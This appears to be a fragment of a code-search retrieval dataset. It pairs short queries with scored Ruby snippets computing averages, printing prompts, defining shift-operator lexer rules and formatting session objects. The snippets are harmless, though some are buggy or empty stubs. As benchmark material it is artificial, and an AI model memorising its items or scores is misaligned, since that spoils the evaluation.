"docid": "618cf5b22dc218fb9d47f916318f1988", "score": "0.6269173", "text": "def average(array)\n average = array.sum / array.count\nend", "title": "" }, { "docid": "5b354b9dae4fab620f7759d6051cb75f", "score": "0.62603116", "text": "def mean(ary)\n\tsum=0.0\n\tary.each {|item| sum+=item}\n\tsum/ary.count\nend", "title": "" }, { "docid": "7a1efb86945342d22839a143609add01", "score": "0.62532663", "text": "def average(array)\n puts array.sum.to_f / array.length\nend", "title": "" }, { "docid": "b6201b8d755cf3579f95c460c243bc2c", "score": "0.6251646", "text": "def mean\n\t\tsum = @error_list.inject{|sum, x| sum + x}\n\t\tsum / @predictions.size.to_f\n\tend", "title": "" }, { "docid": "53c21a96b334f3ecb9a577ce44230cb8", "score": "0.62317586", "text": "def mean\n return 0.0 if @count.zero?\n return @sum / @count\n end", "title": "" }, { "docid": "536c4351adc256d50a55f0b97122405b", "score": "0.6231006", "text": "def average(array)\n sum = 0\n\n if array.empty? || array.index {|x| x > 0} == 1\n puts \"Your array may be empty or contain negative intergers\"\n else\n array.each do |int|\n sum +=int\n end\n sum /= array.size\n end\nend", "title": "" }, { "docid": "b8dec53adfa826d57211c9643ee68e3f", "score": "0.62215585", "text": "def mean()\n sum = 0\n @difference.each do |item|\n sum += item\n end\n @mean = sum / @difference.length\n return @mean\n end", "title": "" }, { "docid": "8c972bd475185cbf41740659d71ec54c", "score": "0.621743", "text": "def mean \n sum / size\n end", "title": "" }, { "docid": "ffcf2203c5ed67a72dda3399d3387a8f", "score": "0.6199355", "text": "def average(array)\n array.sum / array.size.to_f\nend", "title": "" }, { "docid": "763e27fa3f13798c20cbbf7ee95a7f08", "score": "0.61989105", "text": "def avg(options = {})\n c = count(options)\n return nil if c.zero? # if the array is empty will be returned nil\n sum(options) / c\n end", "title": "" }, { "docid": "2d5c4f12d1f0dab58419613b45c93b03", "score": "0.61824375", "text": "def is_avg_whole?(arr)\n arr.reduce(&:+) % arr.length == 0\nend", "title": "" }, { "docid": "c5502b0e892475bd3017c57a6bf50d55", "score": "0.6181312", "text": "def mean(ary)\n ary.inject(0) { |sum, i| sum += i }/ary.length.to_f \nend", "title": "" }, { "docid": "765e0d88f94aba688a24a5e974bee4e9", "score": "0.6160506", "text": "def average\n check_numeric_array!\n a = numerify\n a.sum / length.to_f\n end", "title": "" }, { "docid": "9ddfe73946d1b373e6bb3ac6232a221a", "score": "0.6159746", "text": "def average_of_array(array)\n (array.sum).to_f / (array.length)\nend", "title": "" }, { "docid": "c17ef2659aa573e49942f7791edea79b", "score": "0.6147326", "text": "def mean\n return @mean if @mean\n @mean = 0\n @thresholds.each { |t| @mean += t }\n @mean /= @t\n end", "title": "" }, { "docid": "9563119b14d8cf7b9f45482f47727571", "score": "0.612176", "text": "def mean\n\t\tsum = 0\n\t\tpred_list.each do |pred|\n\t\t\tsum += pred[:error]\n\t\tend\n\t\treturn sum / size\n\tend", "title": "" }, { "docid": "e40c8ea448d62c722ba33fd541536ef4", "score": "0.61133695", "text": "def mean\n @mean\n end", "title": "" }, { "docid": "dd4382a315af427925109cc9de7a0493", "score": "0.60914856", "text": "def average(ary)\n ary.sum / ary.length\nend", "title": "" }, { "docid": "f41edc3ac29437707d477d31d717bec2", "score": "0.6089498", "text": "def mean\n get_errors\n sum = 0\n @errors.each {|e| sum += e}\n avg = sum / @total_predictions.to_f\n return avg\n end", "title": "" }, { "docid": "52f39e624e9bd9c89390a85a6cfc4c26", "score": "0.60891926", "text": "def average(array)\n array.reduce(:+) / array.length\nend", "title": "" }, { "docid": "54e8d1e311f3b25e81326db7b84250c4", "score": "0.6068052", "text": "def average(array)\n array.reduce(:+) / array.size\nend", "title": "" }, { "docid": "54e8d1e311f3b25e81326db7b84250c4", "score": "0.6068052", "text": "def average(array)\n array.reduce(:+) / array.size\nend", "title": "" }, { "docid": "6d50ce4a801dc4bf4331e44f9dbbc462", "score": "0.6059596", "text": "def average(array)\n sum = 0\n array.each { |value| sum += value }\n sum / array.length\nend", "title": "" }, { "docid": "79c400a23157cd384134023a8613e29f", "score": "0.60499686", "text": "def average(array)\n total = 0\n array.each { |num| total += num }\n total / array.length\nend", "title": "" }, { "docid": "c38d5d95d03a429d690d8168b0522382", "score": "0.60464454", "text": "def average_of_array(array)\n (1.0*array.inject{|sum, ele| sum + ele}/array.length).round(0)\nend", "title": "" }, { "docid": "1c5a8f3353d33cea3f75e3fa26a5873a", "score": "0.6046417", "text": "def average\n\t\tif self.length > 0\n\t\t\t#\tsum defined in activesupport/lib/active_support/core_ext/enumerable.rb\n\t\t\tself.digitize.sum.to_f / self.length\n\t\telse\n\t\t\tnil\n\t\tend\n\tend", "title": "" }, { "docid": "89af81fd9e2717845fc3e6c2e57c9059", "score": "0.60425514", "text": "def average(array)\n array.inject(&:+) / array.length\n end", "title": "" }, { "docid": "7d538868b8b0e07e1578e1fa22146670", "score": "0.6028169", "text": "def get_mean\n end", "title": "" }, { "docid": "5c02cec64efac2f6195b8cc6c293561c", "score": "0.6021172", "text": "def is_avg_whole?(arr)\n\tsum = arr.sum\n\tavg_i = sum / arr.count \n\tavg_f = sum / arr.count.to_f\n\tavg_i == avg_f\nend", "title": "" }, { "docid": "0f6b44f6a4c945b32b9922c2b2730b5e", "score": "0.6018672", "text": "def mean\n\n end", "title": "" }, { "docid": "793a2233a378f9aafcf9cdaf50c738bd", "score": "0.60130703", "text": "def mean(data)\n return (sum(data) / count(data)).to_f\n end", "title": "" }, { "docid": "e2368995dbc0f32d974ca0a3fb2df069", "score": "0.6002022", "text": "def is_avg_whole?(arr)\n sum_of_arr = arr.inject(0) {|sum,x| sum + x }\n\treturn (sum_of_arr / arr.length.to_f)%1==0 ? true : false\nend", "title": "" }, { "docid": "6fa8c47c8f1f34c9a98e4ac14bcddbaa", "score": "0.5999325", "text": "def average(arr)\ncounting_variable = 0\narr.each {|element| counting_variable += element }\ncounting_variable / arr.length\nend", "title": "" }, { "docid": "62d8fdbe6a2643f49b1f8a7b9218a68f", "score": "0.5989413", "text": "def average(array)\n total = 0\n array.each do |number|\n total += number\n end\n total / array.length\nend", "title": "" }, { "docid": "586aacb9ef9d36ff650c8c343d85abce", "score": "0.59849644", "text": "def average(array)\n \n sum = 0\n array.each do |element|\n sum = sum + element\n end\n puts \"The sum is #{sum}\"\n puts \"The array size is #{array.size}\"\n puts \"The average is #{(sum / array.size)}\"\n return (sum / array.size)\nend", "title": "" }, { "docid": "5e5b9e926c8e19c916b28c84d9dc1b05", "score": "0.59848315", "text": "def get_mean()\n end", "title": "" }, { "docid": "e6a8fba4da54ebf8c8b041b738ce726c", "score": "0.5981499", "text": "def average(array)\n total = 0\n array.each do |number|\n total = total + number\n end\n total / array.size\nend", "title": "" }, { "docid": "4412302c2f941aba1cab124466b42edb", "score": "0.59793496", "text": "def average(array)\n result = array.inject(:+)\n result / array.count\nend", "title": "" }, { "docid": "7d232bece925c12f06cf73259905f172", "score": "0.5978121", "text": "def mean\n @sum / @count\n end", "title": "" }, { "docid": "8ede05e3881020b33cf82fe6cf81781d", "score": "0.5953802", "text": "def array_average arr\n arr_sum = 0.0\n\n arr.each do |num|\n arr_sum += num\n end\n\n arr_avg = arr_sum / arr.size\nend", "title": "" } ]
06840c5308f408998a054737d4681728
% ">>" : !FIXME > !FIXME
[ { "docid": "e57c30f4b2115aabccc86523b2303a3b", "score": "0.6030583", "text": "def >>(*) end", "title": "" } ]
[ { "docid": "413b70e36cb2d8206e280f3ac1644d71", "score": "0.69024754", "text": "def interpret\r\n return __________________ # <<2\r\n end", "title": "" }, { "docid": "91c1759055f3767525a4dec8a29a1aa5", "score": "0.6175209", "text": "def <<(arg); end", "title": "" }, { "docid": "b9ec345ad4a52a7e37915c2bc9d71007", "score": "0.61510146", "text": "def prompt\n print \">> \"\nend", "title": "" }, { "docid": "20221783d2206b53ecd3e1a836aacc7b", "score": "0.6127035", "text": "def rshift!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 24 )\n\n type = RSHIFT\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 145:10: '>>'\n match( \">>\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 24 )\n\n end", "title": "" }, { "docid": "cd11934552f3e073298dcc5d2821e362", "score": "0.6120844", "text": "def <<(string); end", "title": "" }, { "docid": "cd11934552f3e073298dcc5d2821e362", "score": "0.6120844", "text": "def <<(string); end", "title": "" }, { "docid": "66986b719cdd3d988cbf7c8e29ffa9fa", "score": "0.6100034", "text": "def prompt\n print \">> \"\nend", "title": "" }, { "docid": "38b6312ba007b3754ab89c4fd65b8cfb", "score": "0.60003465", "text": "def emit(s, out: $output)\n out.print(TAB, s)\nend", "title": "" }, { "docid": "38b6312ba007b3754ab89c4fd65b8cfb", "score": "0.60003465", "text": "def emit(s, out: $output)\n out.print(TAB, s)\nend", "title": "" }, { "docid": "38b6312ba007b3754ab89c4fd65b8cfb", "score": "0.60003465", "text": "def emit(s, out: $output)\n out.print(TAB, s)\nend", "title": "" }, { "docid": "f9067cbb242809991ed4608f44f4643b", "score": "0.59769005", "text": "def leading; end", "title": "" }, { "docid": "77f7c9f1c9121e03e7c322d67bb89ced", "score": "0.595291", "text": "def out(*args) print(*(args + [\"\\r\\n\"])) end", "title": "" }, { "docid": "6c3590f1f7ebf2bdccb8a8779b1b36ac", "score": "0.5949694", "text": "def emit(input)\n print \"\\t\" + input\nend", "title": "" }, { "docid": "9248cb2ae1f8211aa869022103713dd9", "score": "0.5929146", "text": "def newline; end", "title": "" }, { "docid": "62d7e204b72d5bba7434491ff4e7313e", "score": "0.5922822", "text": "def prompt(msg)\n puts \">>#{msg}\"\nend", "title": "" }, { "docid": "b314e34ca33a201d02d0a2ba411411c9", "score": "0.590896", "text": "def lshift!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 43 )\n\n type = LSHIFT\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 164:10: '<<'\n match( \"<<\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 43 )\n\n end", "title": "" }, { "docid": "75cd4d31518c2ae48c51afafd88c0881", "score": "0.5893013", "text": "def puts message\n print \">> \" + message +\"\\n\"\nend", "title": "" }, { "docid": "ce4f5a5f54aecc9bf3a6be8aafe20adc", "score": "0.5867505", "text": "def line\n puts \"########################################################\"\nend", "title": "" }, { "docid": "7f6c866a4d009d6482da8fff7121e520", "score": "0.5841655", "text": "def emitln(s, out: $output)\n emit(s, out: out)\n out.puts\nend", "title": "" }, { "docid": "7f6c866a4d009d6482da8fff7121e520", "score": "0.5841655", "text": "def emitln(s, out: $output)\n emit(s, out: out)\n out.puts\nend", "title": "" }, { "docid": "7f6c866a4d009d6482da8fff7121e520", "score": "0.5841655", "text": "def emitln(s, out: $output)\n emit(s, out: out)\n out.puts\nend", "title": "" }, { "docid": "fc793ddfa1fd29f8c8d358c4cd6f938d", "score": "0.5826497", "text": "def prompt(msg)\n puts \">> #{msg}\"\nend", "title": "" }, { "docid": "fc793ddfa1fd29f8c8d358c4cd6f938d", "score": "0.5826497", "text": "def prompt(msg)\n puts \">> #{msg}\"\nend", "title": "" }, { "docid": "fc793ddfa1fd29f8c8d358c4cd6f938d", "score": "0.5826497", "text": "def prompt(msg)\n puts \">> #{msg}\"\nend", "title": "" }, { "docid": "fc793ddfa1fd29f8c8d358c4cd6f938d", "score": "0.5826497", "text": "def prompt(msg)\n puts \">> #{msg}\"\nend", "title": "" }, { "docid": "fc793ddfa1fd29f8c8d358c4cd6f938d", "score": "0.5826497", "text": "def prompt(msg)\n puts \">> #{msg}\"\nend", "title": "" }, { "docid": "fc793ddfa1fd29f8c8d358c4cd6f938d", "score": "0.5826497", "text": "def prompt(msg)\n puts \">> #{msg}\"\nend", "title": "" }, { "docid": "fc793ddfa1fd29f8c8d358c4cd6f938d", "score": "0.5826497", "text": "def prompt(msg)\n puts \">> #{msg}\"\nend", "title": "" }, { "docid": "fc793ddfa1fd29f8c8d358c4cd6f938d", "score": "0.5826497", "text": "def prompt(msg)\n puts \">> #{msg}\"\nend", "title": "" }, { "docid": "325e8f0b1c063eb456236fdcdbb1a876", "score": "0.58157367", "text": "def <<\n puts @str\n end", "title": "" }, { "docid": "b21f6b97dab7e9c02d722469b190f940", "score": "0.5799709", "text": "def fancy_newline\n @results += '|'\n newline\n end", "title": "" }, { "docid": "9f7420422c519db69c4b27eb9e638866", "score": "0.5781704", "text": "def stdin; @current[1]; end", "title": "" }, { "docid": "9f7420422c519db69c4b27eb9e638866", "score": "0.5781704", "text": "def stdin; @current[1]; end", "title": "" }, { "docid": "3bd34bdbc7315dc15c1d960ae45b409b", "score": "0.57795125", "text": "def prompt(string)\n puts \">> #{string}\"\nend", "title": "" }, { "docid": "3bd34bdbc7315dc15c1d960ae45b409b", "score": "0.57795125", "text": "def prompt(string)\n puts \">> #{string}\"\nend", "title": "" }, { "docid": "3bd34bdbc7315dc15c1d960ae45b409b", "score": "0.57795125", "text": "def prompt(string)\n puts \">> #{string}\"\nend", "title": "" }, { "docid": "3bd34bdbc7315dc15c1d960ae45b409b", "score": "0.57795125", "text": "def prompt(string)\n puts \">> #{string}\"\nend", "title": "" }, { "docid": "3bd34bdbc7315dc15c1d960ae45b409b", "score": "0.57795125", "text": "def prompt(string)\n puts \">> #{string}\"\nend", "title": "" }, { "docid": "3bd34bdbc7315dc15c1d960ae45b409b", "score": "0.57795125", "text": "def prompt(string)\n puts \">> #{string}\"\nend", "title": "" }, { "docid": "582c1b6c78e33313fc90ccecf2ea1eda", "score": "0.5734505", "text": "def roll_one\n puts %Q{...........}\n puts %Q{: :}\n puts %Q{: * :}\n puts %Q{: :}\n puts %Q{'''''''''''}\nend", "title": "" }, { "docid": "757e8847285c7fab3b1f139c081ca0a7", "score": "0.57110685", "text": "def prompt(text)\n print \">> \" + text\nend", "title": "" }, { "docid": "082bd43d26dbf1d84919f5c7ee0131a4", "score": "0.5706476", "text": "def rshift_asgn!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 32 )\n\n type = RSHIFT_ASGN\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 153:15: '>>='\n match( \">>=\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 32 )\n\n end", "title": "" }, { "docid": "98cea41a9cab00a2af1fbcd3aeaaa8b8", "score": "0.56904733", "text": "def peek_read\n @read.join('')\n end", "title": "" }, { "docid": "e5de0ce0c8c124d495afaaf7eb484875", "score": "0.56899047", "text": "def <<(value); end", "title": "" }, { "docid": "8091892987f663c979da0e1c0eb690ae", "score": "0.568305", "text": "def lshift_asgn!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 46 )\n\n type = LSHIFT_ASGN\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 167:15: '<<='\n match( \"<<=\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 46 )\n\n end", "title": "" }, { "docid": "8ef024286cb9906ec44305093ced0de4", "score": "0.5668723", "text": "def prompt(sentence)\n puts \">> #{sentence}\"\nend", "title": "" }, { "docid": "1b5e23a0f84a2018eca8d396cbf17e83", "score": "0.5666194", "text": "def puts(arg)\n super arg\n Stream.output += arg.to_s\nend", "title": "" }, { "docid": "cd96d463ec5b842b900ca4b8f92ed40e", "score": "0.5651163", "text": "def <<(x) end", "title": "" }, { "docid": "cd96d463ec5b842b900ca4b8f92ed40e", "score": "0.5651163", "text": "def <<(x) end", "title": "" }, { "docid": "18defe2ef971b623f242d656bd0d3468", "score": "0.5646234", "text": "def <<(string)\n self.term(string)\n\n self.results :print => true\n end", "title": "" }, { "docid": "81dea44dc738c06b506b510dd5841e00", "score": "0.56370854", "text": "def peek()\n \n end", "title": "" }, { "docid": "07f1ff1011566a88b18cef3a0ef0cdf8", "score": "0.56243795", "text": "def get_command(_str=\"\")\n @read_pt.next\n rescue StopIteration\n @eoi = true\n \"\\n\"\n end", "title": "" }, { "docid": "a49c9e69111cd1e6d0783defb2c47be5", "score": "0.56191516", "text": "def stdin(*); end", "title": "" }, { "docid": "a49c9e69111cd1e6d0783defb2c47be5", "score": "0.56191516", "text": "def stdin(*); end", "title": "" }, { "docid": "66d85bb17878f1be6eba5c7e24caa2dc", "score": "0.56158954", "text": "def followed_by\n return \"<eof>\" if @scanner.eos?\n result = @scanner.rest[0,5] + \"...\"\n result.gsub!(\"\\t\", '\\t')\n result.gsub!(\"\\n\", '\\n')\n result.gsub!(\"\\r\", '\\r')\n result\n end", "title": "" }, { "docid": "a3aab852cd5ff6dcb706ccb42c88b5e1", "score": "0.5614576", "text": "def prompt(text)\n puts \">> \" + text\nend", "title": "" }, { "docid": "11175262c8f2a55c62c0e7d573a5a9c4", "score": "0.5598386", "text": "def rshift_3!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 26 )\n\n type = RSHIFT3\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 147:11: '>>>'\n match( \">>>\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 26 )\n\n end", "title": "" }, { "docid": "07bb50251d857f5153d992d43619868c", "score": "0.5597701", "text": "def section_seperator\n puts <<EOF\n\n\n\n=========================\n=========================\nEOF\nend", "title": "" }, { "docid": "3861ce7ba201e4b17e7b56aca8ba0d33", "score": "0.5587992", "text": "def line; end", "title": "" }, { "docid": "3861ce7ba201e4b17e7b56aca8ba0d33", "score": "0.5587992", "text": "def line; end", "title": "" }, { "docid": "3861ce7ba201e4b17e7b56aca8ba0d33", "score": "0.5587992", "text": "def line; end", "title": "" }, { "docid": "3861ce7ba201e4b17e7b56aca8ba0d33", "score": "0.5587992", "text": "def line; end", "title": "" }, { "docid": "3861ce7ba201e4b17e7b56aca8ba0d33", "score": "0.5587992", "text": "def line; end", "title": "" }, { "docid": "3861ce7ba201e4b17e7b56aca8ba0d33", "score": "0.5587992", "text": "def line; end", "title": "" }, { "docid": "3861ce7ba201e4b17e7b56aca8ba0d33", "score": "0.5587992", "text": "def line; end", "title": "" }, { "docid": "3861ce7ba201e4b17e7b56aca8ba0d33", "score": "0.5587992", "text": "def line; end", "title": "" }, { "docid": "3861ce7ba201e4b17e7b56aca8ba0d33", "score": "0.5587992", "text": "def line; end", "title": "" }, { "docid": "3861ce7ba201e4b17e7b56aca8ba0d33", "score": "0.5587992", "text": "def line; end", "title": "" }, { "docid": "3861ce7ba201e4b17e7b56aca8ba0d33", "score": "0.5587992", "text": "def line; end", "title": "" }, { "docid": "3861ce7ba201e4b17e7b56aca8ba0d33", "score": "0.5587992", "text": "def line; end", "title": "" }, { "docid": "3861ce7ba201e4b17e7b56aca8ba0d33", "score": "0.5587992", "text": "def line; end", "title": "" }, { "docid": "3861ce7ba201e4b17e7b56aca8ba0d33", "score": "0.5587992", "text": "def line; end", "title": "" }, { "docid": "3861ce7ba201e4b17e7b56aca8ba0d33", "score": "0.5587992", "text": "def line; end", "title": "" }, { "docid": "b8ab9179210057242404374fa57a6fc3", "score": "0.55877876", "text": "def cmd; end", "title": "" }, { "docid": "f713522305ef274f1d750e69876871a6", "score": "0.55803794", "text": "def cmd(str)\n\t\t@pipe.puts str\n\tend", "title": "" }, { "docid": "3a69dd689001e098d419a94944472718", "score": "0.5578332", "text": "def roll_two\n puts %Q{...........}\n puts %Q{: * :}\n puts %Q{: :}\n puts %Q{: * :}\n puts %Q{'''''''''''}\nend", "title": "" }, { "docid": "48992342b82590d690fdffd84d15a1b2", "score": "0.5578037", "text": "def <<(p0) end", "title": "" }, { "docid": "48992342b82590d690fdffd84d15a1b2", "score": "0.5578037", "text": "def <<(p0) end", "title": "" }, { "docid": "48992342b82590d690fdffd84d15a1b2", "score": "0.5578037", "text": "def <<(p0) end", "title": "" }, { "docid": "48992342b82590d690fdffd84d15a1b2", "score": "0.5578037", "text": "def <<(p0) end", "title": "" }, { "docid": "c83ef2c3516f62369dcc1d01f8b26f74", "score": "0.5568902", "text": "def io; end", "title": "" }, { "docid": "c83ef2c3516f62369dcc1d01f8b26f74", "score": "0.5568902", "text": "def io; end", "title": "" }, { "docid": "c83ef2c3516f62369dcc1d01f8b26f74", "score": "0.5568902", "text": "def io; end", "title": "" }, { "docid": "c83ef2c3516f62369dcc1d01f8b26f74", "score": "0.5568902", "text": "def io; end", "title": "" }, { "docid": "51a37352abc9c92a36b3096ca6929937", "score": "0.55651885", "text": "def print_pipe(pipe)\n\tfor i in 1..pipe\n\t\tprint \"| \"\n\tend\nend", "title": "" }, { "docid": "51a37352abc9c92a36b3096ca6929937", "score": "0.55651885", "text": "def print_pipe(pipe)\n\tfor i in 1..pipe\n\t\tprint \"| \"\n\tend\nend", "title": "" }, { "docid": "74b986b52606f3040cfa408e9e122cd7", "score": "0.5564187", "text": "def yyerrok; end", "title": "" }, { "docid": "74b986b52606f3040cfa408e9e122cd7", "score": "0.5564187", "text": "def yyerrok; end", "title": "" }, { "docid": "d0e0e31f5d88c1c72bd03b136d34af74", "score": "0.55614597", "text": "def |(arg0)\n end", "title": "" }, { "docid": "d0e0e31f5d88c1c72bd03b136d34af74", "score": "0.55614597", "text": "def |(arg0)\n end", "title": "" }, { "docid": "d0e0e31f5d88c1c72bd03b136d34af74", "score": "0.55614597", "text": "def |(arg0)\n end", "title": "" }, { "docid": "f096bf4f2b6d344b7a9f7000b7ca0edd", "score": "0.5557134", "text": "def readline\n end", "title": "" }, { "docid": "fd0b0d1eaa4d5a1708266be8b75e218e", "score": "0.555303", "text": "def <<(msg) debug(msg); end", "title": "" }, { "docid": "731836b553e0a1c7776b1d8fa10aa164", "score": "0.55464786", "text": "def <<(arg); add(*arg); end", "title": "" }, { "docid": "3b202c9d81737e64d3bd3a3003d7bc8c", "score": "0.5539441", "text": "def show(msg)\n puts 'EXAMPLE<basic> ' + msg\nend", "title": "" }, { "docid": "46d76fd0fb6165a7db793db23096a1dd", "score": "0.5538914", "text": "def >>(arg0)\n end", "title": "" }, { "docid": "46d76fd0fb6165a7db793db23096a1dd", "score": "0.5538914", "text": "def >>(arg0)\n end", "title": "" }, { "docid": "11d6527086ab119eae27dcc1759669bb", "score": "0.5533845", "text": "def stdout; end", "title": "" }, { "docid": "11d6527086ab119eae27dcc1759669bb", "score": "0.5533845", "text": "def stdout; end", "title": "" }, { "docid": "11d6527086ab119eae27dcc1759669bb", "score": "0.5533845", "text": "def stdout; end", "title": "" } ]
837507f2ded3fa59c0c162893feb033f
Returns a pretty representation of the session object
[ { "docid": "7a34154ecde3ac82842f686db8605da0", "score": "0.0", "text": "def to_s\n if connected?\n \"#{self.class.name}: connected as #{email}\"\n else\n \"#{self.class.name}: not connected\"\n end\n end", "title": "" } ]
[ { "docid": "d73e1505bade673c596c2ddc73ec8124", "score": "0.76612365", "text": "def to_s\n session_props = %w(user_id original_user_id original_advisor_user_id original_delegate_user_id canvas_masquerading_user_id lti_authenticated_only).map do |prop|\n if (prop_value = self.send prop.to_sym)\n \"#{prop}=#{prop_value}\"\n end\n end\n \"#{super.to_s} #{session_props.compact.join(', ')}\"\n end", "title": "" }, { "docid": "4032c612b8d09ed3e21395c741265cf5", "score": "0.75849336", "text": "def to_s\n \"key: \" + self.session_id + \", value: \" + self.session_value\n end", "title": "" }, { "docid": "dd342c83c37b638da2b9098b9fd26f8c", "score": "0.73558325", "text": "def inspect\n \"#<Mongo::Session:0x#{object_id} session_id=#{session_id} options=#{@options}>\"\n end", "title": "" }, { "docid": "cf012b0247bd0f45d0c718027407de15", "score": "0.73546606", "text": "def stringify_order_session(order_session)\n order_session.to_json\n end", "title": "" }, { "docid": "9a318564cc76db12a0d141f3b7b4b8da", "score": "0.7270099", "text": "def inspect\n values = @properties.map{|k, v| \"#{k}: #{v}\"}.join(\" \")\n \"<Twilio.Proxy.V1.SessionInstance #{values}>\"\n end", "title": "" }, { "docid": "6a5ff8eb3194d026f526c1b157163cd8", "score": "0.72162324", "text": "def dump\n map do |model|\n model.serialize_for_session\n end.join(\"\\n\")\n end", "title": "" }, { "docid": "9cac25589d519580fd9c1669fe821345", "score": "0.7022278", "text": "def inspect\n \"#<Mongo::Session::ServerSession:0x#{object_id} session_id=#{session_id} last_use=#{@last_use}>\"\n end", "title": "" }, { "docid": "de9c360d2a5da3da2578e2087cfe578b", "score": "0.69983727", "text": "def to_s\n values = @params.map{|k, v| \"#{k}: #{v}\"}.join(\" \")\n \"<Twilio.Proxy.V1.SessionInstance #{values}>\"\n end", "title": "" }, { "docid": "aa9cb567d885cef66dfb6b7a3642eaf9", "score": "0.6945465", "text": "def to_s\n context = @solution.map{|k, v| \"#{k}: #{v}\"}.join(',')\n \"#<Twilio.Proxy.V1.SessionContext #{context}>\"\n end", "title": "" }, { "docid": "a69cdcbe6e018ba8ed37ed1906785788", "score": "0.69384766", "text": "def to_s\n template = File.read(File.dirname(__FILE__) + \"/session_template.erb\")\n\n sdp = ERB.new(template, 0, \"%<>\")\n sdp_string = sdp.result(get_binding)\n\n if RUBY_VERSION >= '1.9.2'\n sdp_string.encode( :crlf_newline => true )\n else\n sdp_string.gsub!(\"\\n\",\"\\r\\n\")\n end\n end", "title": "" }, { "docid": "31f2596e24b43eaddcaae4b0572c8238", "score": "0.6831613", "text": "def print_session\n printf \"This is my session sort: %s\\n\", session[:sort].to_s\n\tprintf \"This is my session sort direction: %s\\n\", session[:direction].to_s\n end", "title": "" }, { "docid": "7ec6cd2ab82349297c77bc23ab8c9491", "score": "0.679246", "text": "def inspect\n str = \"\\#<#{self.class}: \" \\\n \"keep_alive=#{keep_alive}\"\n str += ', clean' if clean_session\n str += \", client_id='#{client_id}'\"\n str += \", username='#{username}'\" unless username.nil?\n str += ', password=...' unless password.nil?\n str + '>'\n end", "title": "" }, { "docid": "b62670c46819eb8fb877420299c34577", "score": "0.67021364", "text": "def inspect\n context = @solution.map{|k, v| \"#{k}: #{v}\"}.join(',')\n \"#<Twilio.Proxy.V1.SessionContext #{context}>\"\n end", "title": "" }, { "docid": "a8d2d2cad1b0bba5143c11b82e265cf8", "score": "0.6689739", "text": "def marshal(session)\n data = [ Marshal.dump(session) ].pack('m').chop\n \"#{data}--#{generate_digest(data)}\"\n end", "title": "" }, { "docid": "5df5edfdc69e294202c84eb25723cdd4", "score": "0.66749734", "text": "def session\n format_response(get_request(SESSION_URL))\n end", "title": "" }, { "docid": "9e820d4df11432302c6599345b5e3250", "score": "0.653633", "text": "def to_pretty\n to_s(:prettyprint => true)\n end", "title": "" }, { "docid": "ea2e9205b455e1d882a1b8dbbc2a6bfc", "score": "0.65358084", "text": "def to_s\n # relies on the custom to_json definitions\n JSON.pretty_generate(self)\n end", "title": "" }, { "docid": "5839c80b63e186e372c5c72377e25bb1", "score": "0.65346223", "text": "def session_serializer; end", "title": "" }, { "docid": "696b3fb82810f27eb9e6b16ae3cf062f", "score": "0.6481133", "text": "def to_s\n '#<Twilio.Proxy.V1.SessionList>'\n end", "title": "" }, { "docid": "0818048763c3df67f86f88d01b29f1a1", "score": "0.6466841", "text": "def to_s\n puts\n 35.times { print \"*\" }\n puts\n puts \"Object ID: #{self.object_id}\"\n puts \"UUID: #{@uuid}\"\n puts \"Username: #{@username}\"\n puts \"Userkey: #{@userkey}\"\n puts \"Content Type: #{@content_type}\"\n puts \"Title: #{@title}\"\n puts \"Blurb: #{@blurb}\"\n puts \"Source File: #{@sourcefile}\"\n puts \"Callback URL: #{@callbackurl}\"\n puts \"Search Term: #{@search_term}\"\n puts \"Action: #{@action}\"\n puts \"Format: #{@format}\"\n puts \"Response: #{@response.class}\"\n puts \"Player: #{@player.instance_variable_get(\"@table\").length} attribute(s)\"\n 35.times { print \"*\" }\n puts\n puts\n end", "title": "" }, { "docid": "0f943c26af50c5dcb0d8eb5c4362ddce", "score": "0.64635944", "text": "def to_s\n session = session_description.to_s\n\n unless media_descriptions.empty?\n media_descriptions.each do |media_section|\n session << media_section.to_s\n end\n end\n\n session\n end", "title": "" }, { "docid": "3a12e736d9ad7b6a97903b9975584df3", "score": "0.6444184", "text": "def to_s\n '<Twilio.Proxy.V1.SessionPage>'\n end", "title": "" }, { "docid": "d66120b63d3628364e182f31b0e49036", "score": "0.6395235", "text": "def debug_session\n session.each do |k,v| \n next if k.in?(%w(_csrf_token session_id))\n if k == \"flash\"\n v.each { |vk, vv| debug \"flash.#{vk}\", vv }\n else\n debug k, v\n end\n end\n \n if current_user\n user_info = [:email, :confirmed, :twitter].map do |sym|\n sym if identity?(sym)\n end.compact.join(\", \")\n user_info = \" [#{user_info}]\"\n end\n \n debug \"User\", (current_user ? current_user.inspect : :\"<none>\")\n end", "title": "" }, { "docid": "127657e70508a350b0faa348d9731262", "score": "0.63932663", "text": "def inspect\n values = @properties.map{|k, v| \"#{k}: #{v}\"}.join(\" \")\n \"<Twilio.FlexApi.V1.InsightsSessionInstance #{values}>\"\n end", "title": "" }, { "docid": "c9e2fffaa6985cd3ce5341f1e1fc3711", "score": "0.637853", "text": "def show\n @session = current_client.session\n render json: @session, serializer: Sso::SessionSerializer\n end", "title": "" }, { "docid": "068d46a8144b07c64c8215aadacdb891", "score": "0.63739765", "text": "def to_session\n {\n 'full_name' => @full_name,\n 'user_id' => @user.id,\n 'logout_url' => @logout_url,\n 'organisations' => @organisations,\n 'roles' => @roles\n }\n end", "title": "" }, { 